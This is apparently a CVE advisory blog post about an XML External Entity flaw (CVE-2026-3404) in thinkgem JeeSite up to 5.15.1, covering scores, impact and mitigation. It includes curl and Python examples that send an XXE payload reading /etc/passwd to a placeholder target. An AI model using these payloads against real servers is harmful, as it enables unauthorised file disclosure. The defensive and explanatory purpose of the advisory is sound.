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CVE-2026-3404 is an XML External Entity (XXE) vulnerability found in thinkgem JeeSite up to version 5.15.1. The flaw resides in an unknown function within the file /com/jeesite/common/shiro/cas/CasOutHandler.java, which is part of the Endpoint component. By sending a specially crafted manipulation to this endpoint, an attacker can cause the XML parser to resolve external entities. This allows the attacker to potentially read local files, perform server-side request forgery (SSRF), or cause a denial of service. The attack complexity is high, making exploitation difficult, but a published exploit exists. The vendor was contacted but did not respond, leaving systems vulnerable to remote attacks that can compromise confidentiality, integrity, and availability .
dailycve form:
Platform: thinkgem JeeSite
Version: up to 5.15.1
Vulnerability : XML External Entity
Severity: Medium
date: March 9 2026
Prediction: No official patch
What Undercode Say:
Analytics:
The vulnerability has a CVSS v3.1 base score of 5.0 (Medium) with a vector of AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L. The EPSS score is approximately 0.049%, indicating a low probability of active exploitation in the wild as of March 2026 .
Bash Commands & Code:
Example using curl to test for XXE vulnerability (replace target URL)
curl -X POST http://target.com/com/jeesite/common/shiro/cas/endpoint \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>'
Using Nmap with http-xxe-detection script (if available)
nmap -p 8080 --script http-xxe-detection target.com
Simple python script to send malicious payload
import requests
url = "http://target.com/com/jeesite/common/shiro/cas/endpoint"
headers = {'Content-Type': 'application/xml'}
payload = '''<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>'''
response = requests.post(url, data=payload, headers=headers)
print(response.text)
Exploit:
The exploit involves sending an XML payload to the vulnerable `CasOutHandler.java` endpoint. Due to the endpoint processing XML without disabling external entities, an attacker can include a malicious DOCTYPE definition. This can lead to local file disclosure (e.g., reading /etc/passwd), internal network scanning via SSRF, or denial of service through entity expansion (Billion Laughs attack) .
Protection from this CVE:
- Disable XML external entity processing in the XML parser used by the application (e.g., for DocumentBuilderFactory, set
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)). - Apply input validation and sanitization to reject XML containing DOCTYPE declarations.
- If possible, upgrade to a patched version of JeeSite once available, or apply vendor-supplied workarounds .
Impact:
Successful exploitation can result in:
Confidentiality: Exposure of sensitive local files and internal system data.
Integrity: Limited ability to modify data or perform actions on behalf of the server.
Availability: Potential for denial of service through resource exhaustion.
Given the attack complexity, impact is limited but can be critical if the server hosts sensitive information .
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Sources:
Reported By: nvd.nist.gov
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